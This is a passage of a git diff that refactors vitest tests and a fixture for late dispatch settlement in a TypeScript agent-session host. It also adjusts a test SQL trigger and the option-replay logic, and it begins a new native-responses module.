'rejected' }]) + ) + const before = journal().cursor() + await fixture.host.settleLateDispatch({ + sessionId: SESSION, + clientMessageId: params.envelope.clientOperationId, + providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } + }) + + const after = journal().readSince(before) + expect(after.ok && after.rows.filter((row) => row.kind === 'dispatch')).toEqual([]) + + expect(await submissions()).toMatchObject([ + { + clientMessageId: params.envelope.clientOperationId, + dispatchState: 'rejected', + rejection: { kind: 'cancelled' } + } + ]) + }) + + it('accepts from the durable echo row when the direct settlement write fails', async () => { + fixture.dispatch.mockResolvedValueOnce({ state: 'admitted' }) + const params = sendParams('settle from provider echo') + await fixture.host.send(CALLER, params) + await handedOver(params.envelope.clientOperationId) + vi.spyOn(journal(), 'acceptLate').mockRejectedValueOnce( + new Error('direct settlement write failed') + ) + + await expect( + fixture.host.settleLateDispatch({ + sessionId: SESSION, + clientMessageId: params.envelope.clientOperationId, + providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' } + }) + ).rejects.toThrow('direct settlement write failed') + await journal().appendItem( + { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' }, + params.body, + { + fence: fixture.store.getRecord(SESSION)?.lease.runtimeFence ?? 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + + expect(await submissions()).toMatchObject([ + { + clientMessageId: params.envelope.clientOperationId, + dispatchState: 'accepted', + providerItemId: `claude:${THREAD}:echo-row` + } + ]) + }) + + it('leaves an already accepted send alone, adding no row', async () => { + fixture.dispatch.mockResolvedValueOnce({ state: 'admitted' }) + const params = sendParams('ordinary send') + await fixture.host.send(CALLER, params) + await handedOver(params.envelope.clientOperationId) + const before = journal().cursor() + const receipt = (uuid: string) => + fixture.host.settleLateDispatch({ + sessionId: SESSION, + clientMessageId: params.envelope.clientOperationId, + providerIdentity: { provider: 'claude', sessionId: THREAD, uuid } + }) + + await Promise.all([receipt('echo-row'), receipt('echo-row')]) + await receipt('a-different-uuid') + + const after = journal().readSince(before) + expect(after.ok && after.rows).toHaveLength(1) + expect(journal().submission(params.envelope.clientOperationId)).toMatchObject({ + dispatchState: 'accepted', + providerItemId: `claude:${THREAD}:echo-row` + }) + }) + + it('ignores a session this host is not holding', async () => { + await expect( + fixture.host.settleLateDispatch({ + sessionId: 'session-that-is-not-attached', + clientMessageId: 'whatever', + providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'x' } + }) + ).resolves.toBeUndefined() + }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-contract-test-fixture.ts new file mode 100644 index 00000000000..e52ab14e281 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-contract-test-fixture.ts @@ -0,0 +1,180 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, vi, type Mock } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import type { AgentSessionMutationEnvelope } from '../../../shared/agent-session-wire' +import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' +import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import type { + AgentSessionDispatchOutcome, + StructuredAgentSessionAdapter +} from './structured-agent-session-adapter' +import { StructuredAgentSessionHost } from './structured-agent-session-host' +import { + HOST_TEST_NOW as NOW, + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD, + hostTestAttachParams, + hostTestMessage, + hostTestOperationId, + resetHostTestOperationIds +} from './structured-agent-session-host-test-data' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from '../agent-session-journal/journal-host-database-test-support' +import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' +import { startsWhenPublished } from './structured-agent-session-instant-start.test-support' + +export const CALLER = { callerKey: 'client-1' } + +let root: string + +let store: AgentSessionRecordStore + +let host: StructuredAgentSessionHost + +let dispatch: Mock + +let closeSession: Mock> + +export function accepted(): AgentSessionDispatchOutcome { + return { + state: 'accepted', + providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } + } +} + +export function sendParams(text: string): { + envelope: AgentSessionMutationEnvelope + body: ReturnType +} { + const body = hostTestMessage(text) + return { + envelope: { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: SESSION, + fields: { body } + }) + }, + body + } +} + +export async function submissions(): Promise { + const state = await host.history({ sessionId: SESSION, direction: 'tail' }) + return state.ok ? state.page.submissions : null +} + +export function journal(): AgentSessionJournal { + return ( + host as unknown as { sessions: Map } + ).sessions.get(SESSION)!.journal +} + +export async function handedOver(clientMessageId: string): Promise { + await vi.waitFor(async () => { + expect( + journal() + .submissions() + .find((entry) => entry.clientMessageId === clientMessageId)?.handedOverAt + ).toBeDefined() + expect(dispatch).toHaveBeenCalled() + }) +} + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-wire-late-settle-')) + resetHostTestOperationIds() + dispatch = vi.fn(async () => accepted()) + closeSession = vi.fn(async () => true) + store = await openTestAgentSessionRecordStore(root) + host = new StructuredAgentSessionHost({ + agents: NO_STRUCTURED_AGENTS, + logger: createStructuredAgentSessionLogger(), + store, + adapter: startsWhenPublished( + { + open: async () => ({ + reportedOptions: { model: '' } + }), + acquire: vi.fn(async ({ fence }) => ({ + acquisitionGeneration: globalThis.crypto.randomUUID(), + process: { + hostId: 'local', + pid: 4242, + processStartTimeMs: 1_700_000_000_000, + spawnToken: store.getRecord(SESSION)?.lease.reservedSpawnToken ?? 'spawn-a' + }, + link: { + linkId: `link-${fence}`, + handle: codexProviderHandle(THREAD), + origin: 'created' as const, + mintedAtFence: fence, + observedAt: NOW + } + })), + releaseAcquisition: vi.fn(async () => true), + dispatch, + closeSession, + cancelTurn: vi.fn(async () => ({ cancelled: true })), + answerPrompt: vi.fn(async () => undefined), + setOption: vi.fn(async () => undefined) + }, + () => host + ), + journalDatabase: openTestJournalHostDatabase(root), + claimKeyId: 'key-1', + mintSpawnToken: () => 'spawn-a', + now: () => NOW + }) + expect((await host.attach(CALLER, hostTestAttachParams(null))).ok).toBe(true) +}) + +afterEach(async () => { + await host.flushAllStreamedEvents() + await host.close(SESSION, 'evict') + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +export const fixture = { + get closeSession() { + return closeSession + }, + set closeSession(value: typeof closeSession) { + closeSession = value + }, + get dispatch() { + return dispatch + }, + set dispatch(value: typeof dispatch) { + dispatch = value + }, + get host() { + return host + }, + set host(value: typeof host) { + host = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + get store() { + return store + }, + set store(value: typeof store) { + store = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts index a585a428aaf..0e7ec86e66d 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts @@ -1,180 +1,48 @@ -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest' -import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { describe, expect, it, vi } from 'vitest' import { DISPATCH_REJECTED_CANCELLED } from '../../../shared/structured-agent-session-dispatch-rejection' -import type { - AgentSessionMutationEnvelope, - AgentSessionSubscribeEvent -} from '../../../shared/agent-session-wire' -import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' -import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import type { - AgentSessionDispatchOutcome, - StructuredAgentSessionAdapter -} from './structured-agent-session-adapter' -import { StructuredAgentSessionHost } from './structured-agent-session-host' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import type { AgentSessionDispatchOutcome } from './structured-agent-session-adapter' import { - HOST_TEST_NOW as NOW, HOST_TEST_SESSION as SESSION, - HOST_TEST_THREAD as THREAD, - hostTestAttachParams, - hostTestMessage, - hostTestOperationId, - resetHostTestOperationIds + HOST_TEST_THREAD as THREAD } from './structured-agent-session-host-test-data' import { agentSessionFailureFact } from '../../../shared/agent-session-failure' import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { - closeTestJournalHostDatabases, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' -import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' -import { startsWhenPublished } from './structured-agent-session-instant-start.test-support' - import { closeStructuredAgentSessionHandovers, finalizingStructuredAgentSessionInput, structuredAgentSessionHandingOver } from './structured-agent-session-handing-over' -const CALLER = { callerKey: 'client-1' } - -let root: string -let store: AgentSessionRecordStore -let host: StructuredAgentSessionHost -let dispatch: Mock -let closeSession: Mock> - -function accepted(): AgentSessionDispatchOutcome { - return { - state: 'accepted', - providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } - } -} - -function sendParams(text: string): { - envelope: AgentSessionMutationEnvelope - body: ReturnType -} { - const body = hostTestMessage(text) - return { - envelope: { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method: 'agentSession.send', - sessionId: SESSION, - fields: { body } - }) - }, - body - } -} - -async function submissions(): Promise { - const state = await host.history({ sessionId: SESSION, direction: 'tail' }) - return state.ok ? state.page.submissions : null -} - -function journal(): AgentSessionJournal { - return ( - host as unknown as { sessions: Map } - ).sessions.get(SESSION)!.journal -} - -async function handedOver(clientMessageId: string): Promise { - await vi.waitFor(async () => { - expect( - journal() - .submissions() - .find((entry) => entry.clientMessageId === clientMessageId)?.handedOverAt - ).toBeDefined() - expect(dispatch).toHaveBeenCalled() - }) -} - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-wire-late-settle-')) - resetHostTestOperationIds() - dispatch = vi.fn(async () => accepted()) - closeSession = vi.fn(async () => true) - store = await openTestAgentSessionRecordStore(root) - host = new StructuredAgentSessionHost({ - agents: NO_STRUCTURED_AGENTS, - logger: createStructuredAgentSessionLogger(), - store, - adapter: startsWhenPublished( - { - open: async () => ({ - reportedOptions: { model: '' } - }), - acquire: vi.fn(async ({ fence }) => ({ - acquisitionGeneration: globalThis.crypto.randomUUID(), - process: { - hostId: 'local', - pid: 4242, - processStartTimeMs: 1_700_000_000_000, - spawnToken: store.getRecord(SESSION)?.lease.reservedSpawnToken ?? 'spawn-a' - }, - link: { - linkId: `link-${fence}`, - handle: codexProviderHandle(THREAD), - origin: 'created' as const, - mintedAtFence: fence, - observedAt: NOW - } - })), - releaseAcquisition: vi.fn(async () => true), - dispatch, - closeSession, - cancelTurn: vi.fn(async () => ({ cancelled: true })), - answerPrompt: vi.fn(async () => undefined), - setOption: vi.fn(async () => undefined) - }, - () => host - ), - journalDatabase: openTestJournalHostDatabase(root), - claimKeyId: 'key-1', - mintSpawnToken: () => 'spawn-a', - now: () => NOW - }) - expect((await host.attach(CALLER, hostTestAttachParams(null))).ok).toBe(true) -}) - -afterEach(async () => { - await host.flushAllStreamedEvents() - await host.close(SESSION, 'evict') - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true }) -}) +import { + fixture, + CALLER, + handedOver, + journal, + sendParams, + submissions +} from './structured-agent-session-late-settlement-contract-test-fixture' describe('settling a send the provider proves it received after the ack window', () => { it('publishes acceptance during a pending send and never reopens it for retry', async () => { let finishDispatch!: (outcome: AgentSessionDispatchOutcome) => void - dispatch.mockImplementationOnce( + fixture.dispatch.mockImplementationOnce( () => new Promise((resolve) => { finishDispatch = resolve }) ) const events: AgentSessionSubscribeEvent[] = [] - const unsubscribe = await host.subscribe({ + const unsubscribe = await fixture.host.subscribe({ id: 'late-receipt', sessionId: SESSION, emit: (event) => events.push(event) }) const params = sendParams('echo before send completes') - const pending = host.send(CALLER, params) - await vi.waitFor(async () => expect(dispatch).toHaveBeenCalledTimes(1)) + const pending = fixture.host.send(CALLER, params) + await vi.waitFor(async () => expect(fixture.dispatch).toHaveBeenCalledTimes(1)) try { - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'early-echo' } @@ -205,11 +73,13 @@ describe('settling a send the provider proves it received after the ack window', { clientMessageId: params.envelope.clientOperationId, dispatchState: 'accepted' } ]) ) - await expect(host.send(CALLER, { ...params, retryUnknown: true })).resolves.toMatchObject({ + await expect( + fixture.host.send(CALLER, { ...params, retryUnknown: true }) + ).resolves.toMatchObject({ ok: true, value: { submission: { dispatchState: 'accepted' } } }) - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) }) it.each(['N-first', 'O-first'] as const)( @@ -218,7 +88,7 @@ describe('settling a send the provider proves it received after the ack window', const original = Promise.withResolvers() const nested = Promise.withResolvers() const entered = Promise.withResolvers() - dispatch.mockImplementationOnce(() => original.promise) + fixture.dispatch.mockImplementationOnce(() => original.promise) const held = journal() const acceptLate = held.acceptLate.bind(held) const acceptance = vi.spyOn(held, 'acceptLate').mockImplementation(async (input) => { @@ -228,13 +98,13 @@ describe('settling a send the provider proves it received after the ack window', }) const params = sendParams('overlapping result and receipt') const id = params.envelope.clientOperationId - const sending = host.send(CALLER, params) + const sending = fixture.host.send(CALLER, params) let settlement: Promise | undefined let observed: Promise | undefined let completed = 0 try { await handedOver(id) - settlement = host.settleLateDispatch({ + settlement = fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: id, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'overlap-echo' } @@ -279,7 +149,7 @@ describe('settling a send the provider proves it received after the ack window', dispatchState: 'accepted', providerItemId: `claude:${THREAD}:overlap-echo` }) - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) expect(acceptance).toHaveBeenCalledTimes(1) } finally { original.resolve({ state: 'unknown', reason: 'cleanup' }) @@ -291,16 +161,16 @@ describe('settling a send the provider proves it received after the ack window', ) it('persists an echo received while the provider is closing', async () => { - dispatch.mockResolvedValueOnce({ state: 'unknown', reason: 'ack timeout' }) + fixture.dispatch.mockResolvedValueOnce({ state: 'unknown', reason: 'ack timeout' }) const params = sendParams('received just before shutdown') - await host.send(CALLER, params) + await fixture.host.send(CALLER, params) await handedOver(params.envelope.clientOperationId) await vi.waitFor(async () => expect(await submissions()).toMatchObject([{ dispatchState: 'unknown' }]) ) let settlement: Promise | undefined - closeSession.mockImplementationOnce(async () => { - settlement = host.settleLateDispatch({ + fixture.closeSession.mockImplementationOnce(async () => { + settlement = fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'closing-echo' } @@ -309,23 +179,23 @@ describe('settling a send the provider proves it received after the ack window', return true }) - await host.close(SESSION, 'evict') + await fixture.host.close(SESSION, 'evict') await expect(settlement).resolves.toBeUndefined() - await host.revealSession(SESSION) + await fixture.host.revealSession(SESSION) expect(await submissions()).toMatchObject([{ dispatchState: 'accepted' }]) - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) }) it('moves a durable unknown to accepted so nothing offers to send it again', async () => { - dispatch.mockRejectedValueOnce(new Error('socket closed')) + fixture.dispatch.mockRejectedValueOnce(new Error('socket closed')) const params = sendParams('sent while a turn was running') - await host.send(CALLER, params) + await fixture.host.send(CALLER, params) await handedOver(params.envelope.clientOperationId) await vi.waitFor(async () => expect(await submissions()).toMatchObject([{ dispatchState: 'unknown' }]) ) - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'late-uuid' } @@ -335,22 +205,22 @@ describe('settling a send the provider proves it received after the ack window', { clientMessageId: params.envelope.clientOperationId, dispatchState: 'accepted' } ]) // Retry previously redelivered; the settled send must remain single-dispatch. - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) }) it('settles a provider-cancelled queued send as rejected', async () => { - dispatch.mockResolvedValueOnce({ state: 'admitted' }) + fixture.dispatch.mockResolvedValueOnce({ state: 'admitted' }) const params = sendParams('queued behind the active turn') - await host.send(CALLER, params) + await fixture.host.send(CALLER, params) await handedOver(params.envelope.clientOperationId) - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, state: 'rejected', ...agentSessionFailureWords(agentSessionFailureFact('cancelled'), { surface: 'rejection' }) }) - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'late-echo' } @@ -365,119 +235,4 @@ describe('settling a send the provider proves it received after the ack window', } ]) }) - - it('a receipt after Stop withdrew an unwritten send keeps it cancelled', async () => { - dispatch.mockImplementationOnce( - (input) => - new Promise((_resolve, reject) => { - input.signal?.addEventListener('abort', () => reject(input.signal?.reason), { - once: true - }) - }) - ) - const params = sendParams('stopped before its write') - await host.send(CALLER, params) - await handedOver(params.envelope.clientOperationId) - expect(dispatch.mock.calls[0]?.[0].signal).toBeDefined() - - const stopped = await host.cancel(CALLER, { - envelope: { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method: 'agentSession.cancel', - sessionId: SESSION, - fields: {} - }) - } - }) - expect(stopped).toMatchObject({ ok: true }) - await vi.waitFor(async () => - expect(await submissions()).toMatchObject([{ dispatchState: 'rejected' }]) - ) - const before = journal().cursor() - await host.settleLateDispatch({ - sessionId: SESSION, - clientMessageId: params.envelope.clientOperationId, - providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } - }) - - const after = journal().readSince(before) - expect(after.ok && after.rows.filter((row) => row.kind === 'dispatch')).toEqual([]) - - expect(await submissions()).toMatchObject([ - { - clientMessageId: params.envelope.clientOperationId, - dispatchState: 'rejected', - rejection: { kind: 'cancelled' } - } - ]) - }) - - it('accepts from the durable echo row when the direct settlement write fails', async () => { - dispatch.mockResolvedValueOnce({ state: 'admitted' }) - const params = sendParams('settle from provider echo') - await host.send(CALLER, params) - await handedOver(params.envelope.clientOperationId) - vi.spyOn(journal(), 'acceptLate').mockRejectedValueOnce( - new Error('direct settlement write failed') - ) - - await expect( - host.settleLateDispatch({ - sessionId: SESSION, - clientMessageId: params.envelope.clientOperationId, - providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' } - }) - ).rejects.toThrow('direct settlement write failed') - await journal().appendItem( - { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' }, - params.body, - { - fence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - - expect(await submissions()).toMatchObject([ - { - clientMessageId: params.envelope.clientOperationId, - dispatchState: 'accepted', - providerItemId: `claude:${THREAD}:echo-row` - } - ]) - }) - - it('leaves an already accepted send alone, adding no row', async () => { - dispatch.mockResolvedValueOnce({ state: 'admitted' }) - const params = sendParams('ordinary send') - await host.send(CALLER, params) - await handedOver(params.envelope.clientOperationId) - const before = journal().cursor() - const receipt = (uuid: string) => - host.settleLateDispatch({ - sessionId: SESSION, - clientMessageId: params.envelope.clientOperationId, - providerIdentity: { provider: 'claude', sessionId: THREAD, uuid } - }) - - await Promise.all([receipt('echo-row'), receipt('echo-row')]) - await receipt('a-different-uuid') - - const after = journal().readSince(before) - expect(after.ok && after.rows.filter((row) => row.kind === 'dispatch')).toMatchObject([ - { state: 'accepted', providerItemId: `claude:${THREAD}:echo-row` } - ]) - }) - - it('ignores a session this host is not holding', async () => { - await expect( - host.settleLateDispatch({ - sessionId: 'session-that-is-not-attached', - clientMessageId: 'whatever', - providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'x' } - }) - ).resolves.toBeUndefined() - }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts index 4a88e0b1973..0c4efcd8055 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts @@ -6,7 +6,7 @@ import { import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' import { - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' import type { StructuredAgentSessionCurrentWork } from './structured-agent-session-current-work' @@ -31,10 +31,11 @@ export const TURN: AgentJournalItemIdentity = { export const TURN_KEY = agentJournalItemKey(TURN) const IN_TURN = { kind: 'turn' as const, turnItemId: TURN_KEY } export const APPROVAL: AgentJournalItemIdentity = { ...TURN, ordinal: 2 } -/** All settlement rows carry recovered=true. */ +/** Recovered outcome values carry recovered=true. */ export const REJECT_RECOVERED_ROWS = ` - CREATE TEMP TRIGGER reject_recovered BEFORE INSERT ON journal_rows - WHEN json_extract(NEW.row_json, '$.recovered') = 1 + CREATE TEMP TRIGGER reject_recovered BEFORE INSERT ON journal_outcomes + WHEN (NEW.field = 'items' AND json_extract(NEW.value_json, '$.recovered') = 1) + OR (NEW.field = 'submissions' AND json_extract(NEW.value_json, '$[1].recovered') = 1) BEGIN SELECT RAISE(ABORT, 'temporary storage failure'); END; ` @@ -73,7 +74,7 @@ export async function exitWhileSettlementFails(current: QueuedMessageTestRig) { throw new Error('expected the original child') } const database = openTestJournalHostDatabase(current.root) - const before = liveTestJournalRows(database.db, SESSION) + const before = readTestJournalOutcomes(database.db, SESSION) vi.spyOn(console, 'warn').mockImplementation(() => undefined) database.db.exec(REJECT_RECOVERED_ROWS) await current.host.handleAdapterEvent({ @@ -91,7 +92,7 @@ export async function exitWhileSettlementFails(current: QueuedMessageTestRig) { runtimeFence: child.fence + 1, deathEvidence: { kind: 'exit-observed', ownerFence: child.fence } }) - expect(liveTestJournalRows(database.db, SESSION)).toEqual(before) + expect(readTestJournalOutcomes(database.db, SESSION)).toEqual(before) return { session, database, deadFence: child.fence } } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-logger.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-logger.test.ts index 365381c36d0..ae28498a909 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-logger.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-logger.test.ts @@ -215,15 +215,6 @@ describe('what an Error leaves in the trace file', () => { expect(sqlite?.attributes).toMatchObject({ errorCode: 'ERR_SQLITE_ERROR', errorErrcode: 5 }) expect(sqlite?.exit).toMatchObject({ cause: expect.stringContaining('database is locked') }) }) - - it('names the code of a cause whose message does not', () => { - const logger = createStructuredAgentSessionLogger({ now: () => clock }) - logger.warn('x failed', { - scope: 'x', - error: new Error('x', { cause: Object.assign(new Error('no space'), { code: 'ENOSPC' }) }) - }) - expect(written()[0]?.attributes['errorCause']).toEqual(['Error: no space [ENOSPC]']) - }) }) describe('a logger that throws', () => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts index ff51888df85..7feeff48e19 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts @@ -1,6 +1,5 @@ import { afterEach, beforeEach, expect, it, vi } from 'vitest' import * as reducer from '../agent-session-journal/journal-reducer' -import { DISPATCH_DOUBT_SUBMISSION_MISSING } from '../agent-session-journal/journal-dispatch-doubt-reasons' import { sendStructuredAgentSessionTurn } from './structured-agent-session-host-mutations' import { mutateStructuredAgentSession } from './structured-agent-session-mutation-context' import { sendPlan } from './structured-agent-session-mutation-plans' @@ -121,7 +120,8 @@ it('replays a queued draft after publication fails without waking delivery', asy expect(ctx.wakeDelivery).not.toHaveBeenCalled() }) -it('answers the same doubt on the first reply and resend when the committed row cannot fold', async () => { +// The row commits with its fold or not at all; nothing is recorded, so a resend runs again. +it('refuses the first reply and resend when the submission cannot fold', async () => { const ctx = context() const request = params() const fold = reducer.applyJournalRow @@ -133,26 +133,12 @@ it('answers the same doubt on the first reply and resend when the committed row }) const journal = rig.host['sessions'].get(SESSION)!.journal const append = vi.spyOn(journal, 'appendSubmission') - const accepted = await sendStructuredAgentSessionTurn(ctx, CALLER, request) + const refused = await sendStructuredAgentSessionTurn(ctx, CALLER, request) const replay = await sendStructuredAgentSessionTurn(ctx, CALLER, request) - expect(accepted).toMatchObject({ - ok: true, - replayed: true, - value: { - submission: { - dispatchState: 'unknown', - reason: DISPATCH_DOUBT_SUBMISSION_MISSING, - recovered: true - } - } - }) - expect(replay).toEqual(accepted) + expect(refused).toMatchObject({ ok: false }) + expect(replay).toMatchObject({ ok: false }) expect(journal.submissions()).toHaveLength(0) - expect( - rig.store.readCommandReceipt({ kind: 'global' }, request.envelope.clientOperationId) - ).toMatchObject({ verdict: 'readable', receipt: { status: 'accepted' } }) - expect(append).toHaveBeenCalledOnce() - expect(ctx.wakeDelivery).toHaveBeenCalledOnce() + expect(append).toHaveBeenCalledTimes(2) }) it('logs a throw after commit and wakes once before answering from receipt replay', async () => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-plans.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-plans.ts index 9c9b2dc2206..b05d2f34fa0 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-plans.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-plans.ts @@ -1,5 +1,6 @@ // Command receipts prove acceptance; other plans use ledger rows and journal replay. +import { readNoChoiceOptionResult } from './structured-agent-session-option-observation' import type { AgentChildWorkEvidence } from '../../../shared/agent-status-child-work-evidence' import type { AgentChildWorkView } from '../../../shared/agent-status-child-work-view' import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' @@ -303,10 +304,7 @@ export function promptPlan( } } -export function setOptionPlan(params: { - key: string - value: string -}): MutationPlan { +export function setOptionPlan(params: { key: string; value: string }) { return { method: 'agentSession.setOption', fields: { key: params.key, value: params.value }, @@ -316,14 +314,19 @@ export function setOptionPlan(params: { ctx.publish() return { ok: true, value: { ...params, options } } }, - // Only settled success replays directly; unsettled picks must run again. - replay: (ctx, outcome) => - outcome.status === 'succeeded' - ? { - key: params.key, - value: params.value, - ...(ctx.persistedOptions ? { options: { ...ctx.persistedOptions } } : {}) - } - : null - } + // Reapply unsettled picks; only a settled success can be replayed directly. + replay: (ctx, outcome) => { + if (outcome.status !== 'succeeded') { + return null + } + if (Object.hasOwn(outcome, 'optionResult')) { + return readNoChoiceOptionResult(outcome.optionResult, params) + } + return { + key: params.key, + value: params.value, + ...(ctx.persistedOptions ? { options: { ...ctx.persistedOptions } } : {}) + } + } + } satisfies MutationPlan } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-native-responses.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-native-responses.ts new file mode 100644 index 00000000000..5fa88426233 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-native-responses.ts @@ -0,0 +1,315 @@ +import { isQueuedAgentJournalSubmission } from '../../../shared/agent-session-queued-submission' +import { isJournalStopOrResumeRow } from '../agent-session-journal/journal-row-schema' +import { isAgentSessionContextClear } from '../../../shared/agent-session-context-clear' +import { StructuredQueuedNativeResponses } from './structured-agent-session-queued-native-responses' +import { StructuredAccountRecovery } from './structured-agent-session-account-recovery' +import { readWholeAgentSessionFailureFact } from '../../../shared/agent-session-failure' +import { + agentJournalSubmissionKey, + parseAgentJournalItemKey +} from '../../../shared/agent-session-journal-item-key' +import { isRootAgentJournalItem } from '../../../shared/agent-session-journal-producer' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import type { + AgentJournalCursor, + AgentJournalItemBody, + AgentJournalRenderItem +} from '../../../shared/agent-session-journal-types' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import type { JournalRow } from '../agent-session-journal/journal-row-schema' +import type { + JournalOutcomeReadRow, + JournalReadRow +} from '../agent-session-journal/journal-read-row' + +type Notice = { fence: number; clientMessageId: string; mailbox: string; messages: string[] } + +/** Replayable projection, not a saved obligation: initial history once, then changed row 